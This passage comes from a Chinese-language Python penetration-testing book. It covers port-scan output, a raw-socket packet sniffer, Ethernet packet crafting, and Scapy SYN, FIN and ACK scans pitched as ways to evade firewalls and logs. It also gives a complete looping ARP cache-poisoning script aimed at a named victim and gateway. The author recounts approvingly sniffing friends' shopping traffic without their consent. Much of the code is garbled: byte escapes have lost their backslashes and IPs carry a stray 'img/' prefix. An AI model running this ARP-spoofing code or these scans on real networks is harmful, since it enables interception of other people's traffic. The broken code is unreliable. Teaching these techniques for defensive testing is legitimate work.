 Mohit's port Scanner is working on 192.168.0.3
************************************************************
Port Open:--> 22 -- , SCTP : Secure Shell (SSH)ΓÇöused for secure logins, file transfers (scp, sftp) and port forwarding Official
Port Open:--> 875 -- Not in Database
Port Open:--> 53 -- Domain Name System (DNS) Official
Port Open:--> 80 -- QUIC (from Chromium) for HTTP Unofficial
Port Open:--> 8443 -- SW Soft Plesk Control Panel, Apache Tomcat SSL, Promise WebPAM SSL, McAfee ePolicy Orchestrator (ePO) Unofficial
Port Open:--> 111 -- ONC RPC (Sun RPC) Official
Port Open:--> 443 -- QUIC (from Chromium) for HTTPS Unofficial
Port Open:--> 3306 -- MySQL database system Official
Exiting Main Thread
scanning complete in 0:02:48.718000

所花费的时间是 2 分钟 48 秒;我在高连通性下做了相同的实验,所花费的时间是0:01:23.819774,几乎是前一个的一半。

现在,我将教你如何创建一个包含所有端口号描述的数据库文件;让我们了解如何创建一个包含所有端口描述的 pickle 数据库文件。打开以下链接:en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers

复制端口描述部分并将其保存在一个文本文件中。请参阅以下截图:

让我们看一下creatdicnew.py的代码,将前面的文件转换成一个pickle文件:

import cPickle 
pickle_file = open("port_description.dat","w") 
file_name = raw_input("Enter the file name ")
f = open(file_name,"r")
dict1 = {}
for line in f:
  key, value = line.split(':', 1)

  dict1[int(key.strip())] = value.strip()

print "Dictionary is created"
cPickle.dump(dict1,pickle_file) 
pickle_file.close()
print "port_description.dat is created"

当你运行上述代码时,代码会要求你输入文本文件名。在给出文件名后,代码将把文本文件转换成一个名为port_description.dat的 pickle 文件。

总结

网络扫描是为了收集关于网络、主机和正在运行的服务的信息。网络扫描是通过使用操作系统的ping命令来完成的;ping 扫描利用了 ping 功能并扫描 IP 地址列表。有时,ping 扫描不起作用,因为用户可能关闭了他们的 ICMP ECHO 回复功能或使用防火墙来阻止 ICMP 数据包。在这种情况下,你的 ping 扫描器可能无法工作。在这种情况下,我们必须利用 TCP 三次握手;TCP 工作在传输层,所以我们必须选择我们想要进行 TCP 连接扫描的端口号。Windows 操作系统的一些端口是始终开放的,所以你可以利用这些开放的端口。第一个主要部分是专门用于网络扫描;当你进行网络扫描时,你的程序应该具有最大的性能并且需要最少的时间。为了显著提高性能,应该使用多线程。

在扫描活动主机之后,端口扫描用于检查特定主机上运行的服务;有时,一些程序使用允许特洛伊木马和端口扫描可以检测这些类型威胁的互联网连接。为了进行高效的端口扫描,多线程起着至关重要的作用,因为端口号范围从065536。要扫描一个庞大的列表,必须使用多线程。

在下一章中,您将看到嗅探及其两种类型:被动嗅探和主动嗅探。您还将学习如何捕获数据,数据包构建的概念,以及使用 Scapy 库制作自定义数据包。

第三章:嗅探和渗透测试

当我攻读工程硕士(M.E)学位时,我经常使用我的最爱工具Cain and Abel在朋友的宿舍中嗅探网络。我的朋友们通常会上电子商务网站。第二天,当我告诉他们他们购物的鞋子很好时,他们会感到惊讶。他们总是想知道我是如何得到这些信息的。嗯,这都是因为嗅探网络。

在本章中,我们将学习嗅探网络,并涵盖以下主题:

  • 嗅探的概念

  • 网络嗅探的类型

  • 使用 Python 进行网络嗅探

  • 使用 Python 进行数据包制作

  • ARP 欺骗的概念和 Python 实现

  • 通过自定义数据包制作来测试安全性

引入网络嗅探

嗅探是通过软件(应用程序)或硬件设备监视和捕获通过给定网络的所有数据包的过程。嗅探通常由网络管理员执行。但是,攻击者可能使用嗅探器来捕获数据,而这些数据有时可能包含敏感信息,例如用户名和密码。网络管理员使用交换机SPAN端口。交换机将流量的一个副本发送到SPAN端口。管理员使用此SPAN端口来分析流量。如果您是黑客,您一定使用过Wireshark工具。嗅探只能在子网内进行。在本章中,我们将学习使用 Python 进行嗅探。但是,在此之前,我们需要知道有两种嗅探方法。它们如下:

  • 被动嗅探

  • 主动嗅探

被动嗅探

被动嗅探是指从基于集线器的网络中嗅探。通过将数据包嗅探器放置在混杂模式下的网络中,黑客可以捕获子网内的数据包。

主动嗅探

这种类型的嗅探是在基于交换机的网络上进行的。交换机比集线器更智能。它在 MAC 表中检查后将数据包发送到计算机。主动嗅探是通过使用 ARP 欺骗来实现的,这将在本章中进一步解释。

使用 Python 实现网络嗅探

在学习网络嗅探的实现之前,让我们了解一个特定的struct方法:

  • struct.pack(fmt, v1, v2, ...): 此方法返回一个包含根据给定格式打包的值v1v2等的字符串

  • struct.unpack(fmt, string): 此方法根据给定的格式解包字符串

让我们讨论以下代码片段中的代码:

import struct
ms=  struct.pack('hhl', 1, 2, 3)
print (ms)
k= struct.unpack('hhl',ms)
print k

前述代码的输出如下:

G:PythonNetworkingnetwork>python str1.py
 ☻ ♥
(1, 2, 3)

首先,导入struct模块,然后以hhl格式打包123整数。打包的值就像机器码一样。使用相同的hhl格式解包值;这里,h表示短整数,l表示长整数。更多细节将在后续章节中提供。

考虑客户端-服务器模型的情况;让我们通过一个例子来说明。

运行struct1.py文件。服务器端代码如下:

import socket
import struct
host = "192.168.0.1"
port = 12347
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
print "connected by", addr
msz= struct.pack('hhl', 1, 2, 3) 
conn.send(msz)
conn.close()

整个代码与我们之前看到的一样,使用msz= struct.pack('hhl', 1, 2, 3)打包消息和conn.send(msz)发送消息。

运行unstruc.py文件。客户端代码如下:

import socket
import struct 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.0.1"
port =12347
s.connect((host,port))
msg= s.recv(1024)
print msg
print struct.unpack('hhl',msg)
s.close()

客户端代码接受消息并按给定格式解包。

客户端代码的输出如下:

C:network>python unstruc.py
 ☻ ♥
(1, 2, 3)

服务器端代码的输出如下:

G:PythonNetworkingprogram>python struct1.py
connected by ('192.168.0.11', 1417)

现在,您应该对如何打包和解包数据有一个相当好的理解。

格式字符

我们已经在打包和解包方法中看到了格式。在下表中,我们有C 类型Python 类型列。它表示 C 和 Python 类型之间的转换。标准大小列指的是以字节为单位的打包值的大小:

格式 C 类型 Python 类型 标准大小
x 填充字节 无值
c 字符 长度为 1 的字符串 1
b 有符号字符 整数 1
B 无符号字符 整数 1
? _Bool bool 1
h short integer 2
H unsigned short integer 2
i int integer 4
I unsigned int integer 4
l long integer 4
L unsigned long integer 4
q long long integer 8
Q unsigned long long integer 8
f float float 4
d double float 8
s char[] string
p char[] string
P void * integer

让我们来看看当一个值以不同格式打包时会发生什么:

 >>> import struct
 >>> struct.pack('b',2)
  'x02'
  >>> struct.pack('B',2)
  'x02'
  >>> struct.pack('h',2)
  'x02x00'

我们用三种不同的格式打包了数字2。从前表中我们知道,bB各自占用一个字节,这意味着它们的大小相同。然而,*h*占用两个字节。

现在,让我们使用长整型,即八个字节:

  >>> struct.pack('q',2)
  'x02x00x00x00x00x00x00x00'

如果我们在网络上工作,应该在以下格式中使用!!用于避免网络字节是小端还是大端的混淆。有关大端和小端的更多信息,您可以参考维基百科关于字节顺序的页面。

  >>> struct.pack('!q',2)
  'x00x00x00x00x00x00x00x02'
  >>>

在格式中使用!时,您可以看到差异。

在进行嗅探之前,您应该了解以下定义:

  • PF_PACKET:它在设备驱动程序层运行。Linux 的pcap库使用PF_PACKET套接字。要运行此程序,您必须以 root 用户身份登录。如果您想在互联网协议层以下的最基本级别上发送和接收消息,那么您需要使用PF_PACKET

  • 原始套接字:它不关心网络层堆栈,并提供了一种快捷方式,可以直接与应用程序发送和接收数据包。

以下套接字方法用于字节顺序转换:

  • socket.ntohl(x): 这是网络到主机的长整型。它将网络中的 32 位正整数转换为主机的字节顺序。

  • socket.ntohs(x): 这是网络到主机的短整型。它将网络中的 16 位正整数转换为主机的字节顺序。

  • socket.htonl(x): 这是主机到网络的长整型。它将主机中的 32 位正整数转换为网络的字节顺序。

  • socket.htons(x): 这是主机到网络的短整型。它将主机中的 16 位正整数转换为网络的字节顺序。

那么,前面四种方法的意义是什么?

考虑一个 16 位数字,0000000000000011。当您将这个数字从一台计算机发送到另一台计算机时,它的顺序可能会改变。接收计算机可能会以另一种形式接收它,比如 1100000000000000。这些方法将从您的本机字节顺序转换为网络字节顺序,然后再转换回来。现在,让我们看一下实现网络嗅探器的代码,它将在 TCP/IP 的三层上工作,即物理层(以太网)、网络层(IP)和 TCP 层(端口)。

在查看代码之前,您应该了解所有三层的头部:

  • 物理层:该层处理以太网帧,如下图所示:

以太网帧 IEEE 802.3 的结构

上图的解释如下:

  • 前导码由七个字节组成,全部为 10101010 的形式,接收器用它来建立位同步

  • 起始帧定界符由一个字节组成,10101011,它是一个帧标志,表示帧的开始

  • 目的地和源地址通常被引用为六个字节的以太网地址序列

我们只对源地址和目的地址感兴趣。数据部分包含 IP 和 TCP 头部。

您应该永远记住的一件事是,当帧到达我们的程序缓冲区时,它不包含前导码起始帧定界符字段。

MAC 地址,如AA:BB:CC:56:78:45,包含 12 个十六进制字符,每个字节包含两个十六进制值。为了存储 MAC 地址,我们将使用六个字节的内存。

  • 网络或 IP 层:在这一层,我们对源和目的地的 IP 地址感兴趣。

现在,让我们继续看下面的 IPv4 头部图表:

IPv4 头部

IPv4 数据包头由 14 个字段组成,其中只有 13 个是必需的。第 14 个字段是可选的。该头部长度为 20 字节。最后 8 个字节包含我们的源 IP 地址和目标 IP 地址。从第 12 到 16 个字节包含源 IP 地址,从第 17 到 20 个字节包含目标 IP 地址:

  • TCP 头部:在这个头部中,我们对源端口和目的端口地址感兴趣。如果注意 TCP 头部,您会意识到它也是 20 字节长,头部的起始两个字节提供了源端口,接下来的两个字节提供了目的端口地址。您可以在下图中看到 TCP 头部:

TCP 头部

现在,启动接口卡的混杂模式,并以超级用户的身份给出命令。那么,什么是混杂模式?在计算机网络中,混杂模式允许网络接口卡读取到达其子网的数据包。例如,在集线器环境中,当数据包到达一个端口时,它会被复制到其他端口,只有预期的用户才能读取该数据包。但是,如果其他网络设备也在混杂模式下工作,那么该设备也可以读取该数据包:

  ifconfig eth0 promisc

检查前面的命令的效果,如下截图所示,通过输入ifconfig命令:

显示混杂模式

前面的截图显示了eth0网络卡,并且它正在混杂模式下工作。

由于其驱动程序、内核支持等原因,有些网卡无法设置为混杂模式。

现在,是时候编码了。首先,让我们完整地看一下以下代码片段,然后逐行理解它:

import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
while True:
  try:
    pkt = s.recvfrom(2048)
    ethhead = pkt[0][0:14]
    eth = struct.unpack("!6s6s2s",ethhead)
    print "*"*50
    print "--------Ethernet Frame--------"
    print "Source MAC --> Destination MAC"
    print binascii.hexlify(eth[1]),"-->",binascii.hexlify(eth[0])
    print "-----------IP------------------"
    num=pkt[0][14].encode('hex')
    ip_length = (int(num)%10)*4
    ip_last_range = 14+ip_length
    ipheader = pkt[0][14:ip_last_range]
    ip_hdr = struct.unpack("!12s4s4s",ipheader)
    print "Source IP--> Destination IP"
    print socket.inet_ntoa(ip_hdr[1]),"-->", socket.inet_ntoa(ip_hdr[2])
    print "---------TCP----------"
    tcpheader = pkt[0][ip_last_range:ip_last_range+20]

    tcp_hdr = struct.unpack("!HH9sB6s",tcpheader)
    print "Source Port--> Destination Port"
    print tcp_hdr[0],"-->", tcp_hdr[1]
    flag1 =tcp_hdr[3]
    str1 = bin(flag1)[2:].zfill(8) 
    flag1 = ''
    if str1[0]== '1':
      flag1 = flag1+"CWR "
    if str1[1] == '1':
      flag1 = flag1+ "ECN Echo "
    if str1[2] == '1':
      flag1 = flag1 + "Urgent "
    if str1[3]== '1':
      flag1 = flag1+ "Ack "

    if str1[4]== '1':
      flag1 = flag1+"Push "
    if str1[5] == '1':
      flag1 = flag1+ "Reset "
    if str1[6] == '1':
      flag1 = flag1 + "Sync "
    if str1[7]== '1':
      flag1 = flag1+ "Fin "

    print "Flag", flag1
  except Exception as e :
    print e

我们已经定义了socket.PF_PACKET, socket.SOCK_RAW行。socket.htons(0x0800)语法显示了感兴趣的协议。0x0800代码定义了ETH_P_IP协议。您可以在/usr/include/linux中的if_ether.h文件中找到所有代码。pkt = s.recvfrom(2048)语句创建了一个 2048 的缓冲区。传入的帧存储在pkt变量中。如果打印这个pkt,它会显示元组,但我们宝贵的信息位于第一个元组中。ethhead = pkt[0][0:14]语句从pkt中取出前 14 个字节。以太网帧长度为 14 字节,它首先出现在下图中,这就是为什么我们使用前 14 个字节:

头部的配置

eth = struct.unpack("!6s6s2s",ethhead)语句中,!表示网络字节,6s表示六个字节,正如我们之前讨论的那样。binascii.hexlify(eth[0])语句返回了二进制数据的十六进制表示。ip_length = (int(num)%10)*4语法告诉我们 IPv4 头部的大小。ipheader = pkt[0][14:ip_last_range]语句提取了范围内的数据。接下来是 IP 头部和ip_hdr =struct.unpack("!12s4s4s",ipheader)语句,它将数据解包成三部分,其中我们的目标和源 IP 地址分别位于第二部分和第三部分。socket.inet_ntoa(ip_hdr[3])语句将 32 位打包的 IPv4 地址(一个长度为四个字符的字符串)转换为其标准的点分十进制字符串表示形式。

tcpheader **=** pkt[0][ip_last_range:ip_last_range+20]语句提取了接下来的 20 个字节数据。tcp_hdr = struct.unpack("!HH9sB6s",tcpheader)语句分为五部分,即HH9sB6s首先,然后是源端口和目的端口号。第四部分 B 表示标志值。使用str1 = bin(flags)[2:].zfill(8)语法将标志 int 值转换为八位二进制值。

sniffer_new.py的输出如下:

 --------Ethernet Frame--------
Source MAC --> Destination MAC
005056e2859d --> 000c29436fc7
-----------IP------------------
Source IP--> Destination IP
91.198.174.192 --> 192.168.0.24
---------TCP----------
Source Port--> Destination Port
443 --> 43885
Flag Ack Push Fin 

**************************************************
--------Ethernet Frame--------
Source MAC --> Destination MAC
005056e2859d --> 000c29436fc7
-----------IP------------------
Source IP--> Destination IP
91.198.174.192 --> 192.168.0.24
---------TCP----------
Source Port--> Destination Port
443 --> 43851
Flag Ack 

我们的 sniffer 现在运行正常。让我们讨论输出的结果。以太网帧显示了目的 MAC 和源 MAC。IP 头告诉源 IP 数据包来自何处,目的 IP 是运行在我们子网上的另一个操作系统。TCP 头显示了源端口目的端口标志。源端口是443,这表明有人正在浏览网站。既然我们有了 IP 地址,让我们看看91.198.174.192上运行着哪个网站:

 >>> import socket
 >>> socket.gethostbyaddr('91.198.174.192')
('text-lb.esams.wikimedia.org', [], ['91.198.174.192'])
>>>

前面的结果显示了text-lb.esams.wikimedia.org 网站。

在输出中,显示了两个数据包。如果打印tcp_hdr[3]

标志值

如果出现16,那么bin(flag1)[2:].zfill(8)语法将返回00010000,这意味着 ACK 位已打开。整数 25 表示 00011001,这表示AckPushFin位已打开。

现在,让我们对代码进行一些修改。在代码的末尾添加一行:

print pkt[0][ip_last_range+20:]

让我们看看输出如何改变:

  HTTP/1.1 304 Not Modified
  Server: Apache
  X-Content-Type-Options: nosniff
  Cache-control: public, max-age=300, s-maxage=300
  Last-Modified: Thu, 25 Sep 2014 18:08:15 GMT
  Expires: Sat, 27 Sep 2014 06:41:45 GMT
  Content-Encoding: gzip
  Content-Type: text/javascript; charset=utf-8
  Vary: Accept-Encoding,X-Use-HHVM
  Accept-Ranges: bytes
  Date: Sat, 27 Sep 2014 06:37:02 GMT
  X-Varnish: 3552654421 3552629562
  Age: 17
  Via: 1.1 varnish
  Connection: keep-alive
  X-Cache: cp1057 hit (138)
  X-Analytics: php=zend

有时,我们对 TTL 感兴趣,这是 IP 头的一部分。这意味着我们将不得不更改解包函数:

    ipheader = pkt[0][14:ip_last_range]
    ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
    print "Source IP--> Destination IP, "
    print socket.inet_ntoa(ip_hdr[3]),"-->", socket.inet_ntoa(ip_hdr[4])
    print "TTL: ",ip_hdr[1]

现在,让我们检查sniffer_ttl.py的输出:

 --------Ethernet Frame--------
Source MAC --> Destination MAC
005056e2859d --> 000c29436fc7
-----------IP------------------
Source IP--> Destination IP
74.125.24.157 --> 192.168.0.24
TTL: 128
---------TCP----------
Source Port--> Destination Port
443 --> 48513
16
Flag Ack 

TTL值为128。那它是如何工作的呢?非常简单;我们以 8sB3s4s4s 的格式解包了值,我们的 TTL 字段出现在第九个字节。8s 之后意味着在第八个字节之后,我们以 B 的形式得到 TTL 字段。

了解数据包构造

这是黑客或渗透测试人员可以创建定制数据包的技术。通过使用定制数据包,黑客可以执行许多任务,如探测防火墙规则集、端口扫描和操作系统的行为。有许多工具可用于数据包构造,如 Hping 和 Colasoft 数据包生成器。数据包构造是一种技能。您可以在没有工具的情况下执行它,因为您有 Python。

首先,我们创建以太网数据包,然后将它们发送给受害者。让我们看看eth.py的整个代码,然后逐行理解它:

import socket
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
sor = 'x00x0cx29x4fx8ex35'
des ='x00x0Cx29x2Ex84x7A'
code ='x08x00'
eth = des+sor+code
s.send(eth)

您已经在数据包嗅探器中看到了s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))。现在,决定网络接口。我们选择 eth0 接口发送数据包。s.bind(("eth0",socket.htons(0x0800)))语句将 eth0 接口与协议值绑定。接下来的两行定义了源 MAC 地址和目的 MAC 地址。code ='x08x00'语句显示了感兴趣的协议。这是 IP 协议的代码。eth = des+sor+code语句用于组装数据包。下一行s.send(eth)发送数据包。

介绍 ARP 欺骗并使用 Python 实现

ARP地址解析协议)用于将 IP 地址转换为其对应的以太网(MAC)地址。当数据包到达网络层(OSI)时,它具有目的设备的 IP 地址和数据链路层数据包,需要目的设备的 MAC 地址。在这种情况下,发送方使用 ARP。

术语地址解析指的是在网络中查找计算机的 MAC 地址的过程。以下是 ARP 可能发送的两种类型的 ARP 消息:

  • ARP 请求

  • ARP 回复

ARP 请求

主机可能想要向同一子网中的另一台机器发送消息。主机只知道 IP 地址,而在数据链路层发送消息需要 MAC 地址。在这种情况下,主机广播 ARP 请求。子网中的所有机器都会收到消息。值的以太网协议类型是0x806

ARP 回复

预期的用户将以他们的 MAC 地址做出回应。这个回复是单播的,称为 ARP 回复。

ARP 缓存

为了减少地址解析请求的数量,客户端通常会缓存解析的地址一段时间。ARP 缓存是有限大小的。当任何设备想要向子网中的另一个目标设备发送数据时,它必须首先确定该目标的 MAC 地址,即使发送方知道接收方的 IP 地址。这些 IP 到 MAC 地址映射来自每个设备上维护的 ARP 缓存。未使用的条目将被删除,这样可以释放缓存中的一些空间。使用arp -a命令查看 ARP 缓存,如下屏幕截图所示:

ARP 缓存

ARP 欺骗,也称为 ARP 缓存中毒,是一种攻击类型,攻击者通过改变受害者机器的 MAC 地址,在网关的 ARP 缓存中,以及改变网关的 MAC 地址,在受害者机器的 ARP 缓存中。这种技术用于攻击局域网。攻击者可以在局域网上嗅探数据帧。在 ARP 欺骗中,攻击者向网关和受害者发送虚假回复。目的是将攻击者的 MAC 地址与另一个主机的 IP 地址(如默认网关)关联起来。ARP 欺骗用于主动嗅探。

现在,我们将使用一个示例来演示 ARP 欺骗。

网络中所有机器的 IP 地址和 MAC 地址如下:

机器名称 IP 地址 MAC 地址
Windows XP(受害者) 192.168.0.11 00:0C:29:2E:84:7A
Linux(攻击者) 192.168.0.10 00:0C:29:4F:8E:35
Windows 7(网关) 192.168.0.1 00:50:56:C0:00:08

让我们来看一下下面的图中显示的 ARP 协议头部:

ARP 头部

让我们逐行查看代码来实现 ARP 欺骗并讨论它:

import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

sor = 'x00x0cx29x4fx8ex35'
victmac ='x00x0Cx29x2Ex84x7A'

gatemac = 'x00x50x56xC0x00x08'
code ='x08x06'
eth1 = victmac+sor+code #for victim
eth2 = gatemac+sor+code # for gateway

htype = 'x00x01'
protype = 'x08x00'
hsize = 'x06'
psize = 'x04'
opcode = 'x00x02'

gate_ip = '192.168.0.1'
victim_ip = '192.168.0.11' 
gip = socket.inet_aton ( gate_ip )
vip = socket.inet_aton ( victim_ip )

arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip
arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip

while 1:
  s.send(arp_victim)
  s.send(arp_gateway)

在之前的数据包制作部分,您创建了以太网帧。在这段代码中,我们使用了三个 MAC 地址,这些地址也显示在前面的表中。在这里,我们使用了code ='x08x06',这是 ARP 协议的代码。制作的两个以太网数据包是eth1eth2。下一行,htype ='x00x01',表示以太网。一切都按照 ARP 头部中显示的顺序进行,protype ='x08x00'表示协议类型;hsize ='x06'显示硬件地址大小;psize ='x04'给出 IP 地址长度;opcode ='x00x02'显示这是一个回复数据包。gate_ip ='192.168.0.1'victim_ip ='192.168.0.11'语句分别是网关和受害者的 IP 地址。socket.inet_aton(gate_ip)方法将 IP 地址转换为十六进制格式。最后,我们根据 ARP 头部组装整个代码。s.send()方法也将数据包放在了电缆上。

现在,是时候看输出了。运行arpsp.py文件。

让我们检查一下受害者的 ARP 缓存:

受害者的 ARP 缓存

前面的屏幕截图显示了 ARP 欺骗攻击之前和之后的 ARP 缓存。从屏幕截图中可以清楚地看出网关 IP 的 MAC 地址已经改变。我们的代码运行正常。

让我们检查一下网关的 ARP 缓存:

网关的 ARP 缓存

前面的屏幕截图显示我们的代码已经成功运行。受害者和攻击者的 IP 具有相同的 MAC 地址。现在,所有发送到网关的数据包都将通过攻击者的系统,并且攻击者可以有效地读取网关和受害者计算机之间来回传输的数据包。

在渗透测试中,你必须攻击(ARP 欺骗)网关,以调查它是否容易受到 ARP 欺骗的影响。

使用自定义数据包构造测试安全系统

在本节中,我们将看到一些特殊类型的扫描。在第二章中,扫描渗透,你看到了基于 TCP 连接扫描的端口扫描器。三次握手是 TCP 连接扫描的基本概念。

半开放扫描

半开放扫描或隐形扫描,顾名思义,是一种特殊类型的扫描。隐形扫描技术用于绕过防火墙规则,并避免被日志系统检测到。然而,这是一种特殊类型的扫描,通过数据包构造来实现,这在本章前面已经解释过。如果你想制作 IP 或 TCP 数据包,那么你必须提到每个部分。我知道这很痛苦,你可能会想到Hping。然而,Python 的库会让它变得简单。

现在,让我们来看一下如何使用 scapy。Scapy 是一个第三方库,允许你制作定制的数据包。我们将编写一个简单而简短的代码,以便你能够理解 scapy。

在编写代码之前,让我们了解一下半开放扫描的概念。以下步骤定义了隐形扫描:

  1. 客户端向目标端口发送一个 SYN 数据包

  2. 如果端口是打开的,服务器会用SYN/ACK数据包进行响应

  3. 如果服务器用RST数据包进行响应,这意味着端口是关闭的

  4. 客户端发送RST来关闭初始化

现在,让我们来看一下代码,接下来也会进行解释:

from scapy.all import *
ip1 = IP(src="img/192.168.0.10", dst ="192.168.0.3" )
tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345)
packet = ip1/tcp1
p =sr1(packet, inter=1)
p.show()

rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347)
packet1=ip1/rs1
p1 = sr1(packet1)
p1.show

第一行导入了 scapy 的所有模块。下一行,ip1 = IP(src="img/192.168.0.10", dst ="192.168.0.3" ),定义了 IP 数据包。IP 数据包的名称是ip1,其中包含了源地址和目的地址。tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345)语句定义了名为tcp1TCP数据包,该数据包包含了源端口和目的端口。我们对端口80感兴趣,因为我们已经定义了隐形扫描的前几步。在第一步中,客户端向服务器发送一个SYN数据包。在我们的tcp1数据包中,SYN标志已经设置如数据包所示,并且 seq 是随机给定的。

下一行,packet= ip1/tcp1,首先安排 IP,然后是TCPp =sr1(packet, inter=1)语句接收数据包。sr1()函数使用发送和接收的数据包,但它只接收一个应答数据包,inter= 1,这表示一个间隔为一秒,因为我们希望两个数据包之间有一秒的间隔。下一行,p.show(),给出了接收数据包的分层视图。rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347)语句将发送带有RST标志的数据包。接下来的几行很容易理解。在这里,不需要p1.show,因为我们不接受服务器的任何响应。

输出如下:

  root@Mohit|Raj:/scapy# python halfopen.py
  WARNING: No route found for IPv6 destination :: (no default route?)
  Begin emission:
  .*Finished to send 1 packets.
  Received 2 packets, got 1 answers, remaining 0 packets
  ###[ IP ]###
    version   = 4L
    ihl       = 5L
    tos       = 0x0
    len       = 44
    id        = 0
    flags     = DF
    frag      = 0L
    ttl       = 64
    proto     = tcp
    chksum    = 0xb96e
    src       = 192.168.0.3
    dst       = 192.168.0.10
  options 
  ###[ TCP ]###
       sport     = http
       dport     = 1024
       seq       = 2065061929
       ack       = 12346
       dataofs   = 6L
       reserved  = 0L
       flags     = SA
       window    = 5840
       chksum    = 0xf81e
       urgptr    = 0
       options   = [('MSS', 1460)]
  ###[ Padding ]###
          load      = 'x00x00'
  Begin emission:
  Finished to send 1 packets.
  ..^Z
  [10]+  Stopped python halfopen.py

所以我们收到了我们的应答数据包。源和目的地看起来都很好。看一下TCP字段,注意标志的值。我们有 SA,表示SYNACK标志。正如我们之前讨论的,如果服务器响应带有SYNACK标志,这意味着端口是打开的。Wireshark也捕获了响应,如下面的屏幕截图所示:

Wireshark 输出

现在,让我们再做一次,但是这次目的地将不同。从输出中,你将知道目的地地址是什么:

  root@Mohit|Raj:/scapy# python halfopen.py 
  WARNING: No route found for IPv6 destination :: (no default route?)
  Begin emission:
  .*Finished to send 1 packets.
  Received 2 packets, got 1 answers, remaining 0 packets
  ###[ IP ]###
    version   = 4L
    ihl       = 5L
    tos       = 0x0
    len       = 40
    id        = 37929
  flags     = 
    frag      = 0L
    ttl       = 128
    proto     = tcp
    chksum    = 0x2541
    src       = 192.168.0.11
    dst       = 192.168.0.10
  options 
  ###[ TCP ]###
       sport     = http
       dport     = 1024
       seq       = 0
       ack       = 12346
       dataofs   = 5L
       reserved  = 0L
       flags     = RA
       window    = 0
       chksum    = 0xf9e0
       urgptr    = 0
       options   = {}
  ###[ Padding ]###
          load      = 'x00x00x00x00x00x00'
  Begin emission:
  Finished to send 1 packets.
  ^Z
  [12]+  Stopped                 python halfopen.py
  root@Mohit|Raj:/scapy#

这一次,它返回了RA标志,意味着RSTACK。这意味着端口是关闭的。

FIN 扫描

有时防火墙和入侵检测系统IDS)被配置为检测SYN扫描。在 FIN 扫描攻击中,向远程主机发送一个只有 FIN 标志的TCP数据包。如果主机没有响应,这意味着端口是开放的。如果收到响应,其中包含RST/ACK标志,这意味着端口是关闭的。

以下是 FIN 扫描的代码:

from scapy.all import *
ip1 = IP(src="img/192.168.0.10", dst ="192.168.0.11")
sy1 = TCP(sport =1024, dport=80, flags="F", seq=12345)
packet = ip1/sy1
p =sr1(packet)
p.show()

数据包与之前的相同,只有 FIN 标志设置。现在,检查来自不同机器的响应:

root@Mohit|Raj:/scapy# python fin.py 
WARNING: No route found for IPv6 destination :: (no default route?)
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
  version   = 4L
  ihl       = 5L
  tos       = 0x0
  len       = 40
  id        = 38005
  flags     = 
  frag      = 0L
  ttl       = 128
  proto     = tcp
  chksum    = 0x24f5
  src       = 192.168.0.11
  dst       = 192.168.0.10
  options   
###[ TCP ]###
     sport     = http
     dport     = 1024
     seq       = 0
     ack       = 12346
     dataofs   = 5L
     reserved  = 0L
     flags     = RA
     window    = 0
     chksum    = 0xf9e0
     urgptr    = 0
     options   = {}
###[ Padding ]###
        load      = 'x00x00x00x00x00x00'

传入的数据包包含RST/ACK标志,这意味着端口是关闭的。现在,我们将目的地更改为192.168.0.3并检查响应:

root@Mohit|Raj:/scapy# python fin.py 
WARNING: No route found for IPv6 destination :: (no default route?)
Begin emission:
.Finished to send 1 packets.
....^Z
[13]+  Stopped                 python fin.py

从目的地没有收到响应,这意味着端口是开放的。

ACK 标志扫描

ACK扫描方法用于确定主机是否受到某种过滤系统的保护。

在这种扫描方法中,攻击者发送带有随机序列号的ACK探测数据包,没有响应意味着端口被过滤(在这种情况下存在有状态检查防火墙);如果收到 RST 响应,这意味着端口是关闭的。

现在,让我们浏览一下这段代码:

from scapy.all import *
ip1 = IP(src="img/192.168.0.10", dst ="192.168.0.11")
sy1 = TCP(sport =1024, dport=137, flags="A", seq=12345)
packet = ip1/sy1
p =sr1(packet)
p.show()

在上述代码中,标志已设置为ACK,目的地端口为137

现在,检查输出:

  root@Mohit|Raj:/scapy# python ack.py 
  WARNING: No route found for IPv6 destination :: (no default route?)
  Begin emission:
  ..Finished to send 1 packets.
  ^Z
  [30]+  Stopped                 python ack.py

数据包已发送,但没有收到响应。您不需要担心,因为我们有我们的 Python 嗅探器来检测响应。因此运行嗅探器,无需以混杂模式运行它,并重新发送ACK数据包:

  Out-put of sniffer 
   --------Ethernet Frame--------
  desination mac 000c294f8e35
  Source mac 000c292e847a
  -----------IP------------------
  TTL : 128
  Source IP 192.168.0.11
  Destination IP 192.168.0.10
  ---------TCP----------
  Source Port  137
  Destination port  1024
  Flag  04

返回的数据包显示Flag 04,意味着RST。这意味着端口没有被过滤。

让我们设置防火墙,再次检查ACK数据包的响应。现在防火墙已设置好,让我们再次发送数据包。输出将如下所示:

  root@Mohit|Raj:/scapy# python ack.py 
  WARNING: No route found for IPv6 destination :: (no default route?)
  Begin emission:
  .Finished to send 1 packets.

嗅探器的输出显示没有任何内容,这意味着防火墙存在。

总结

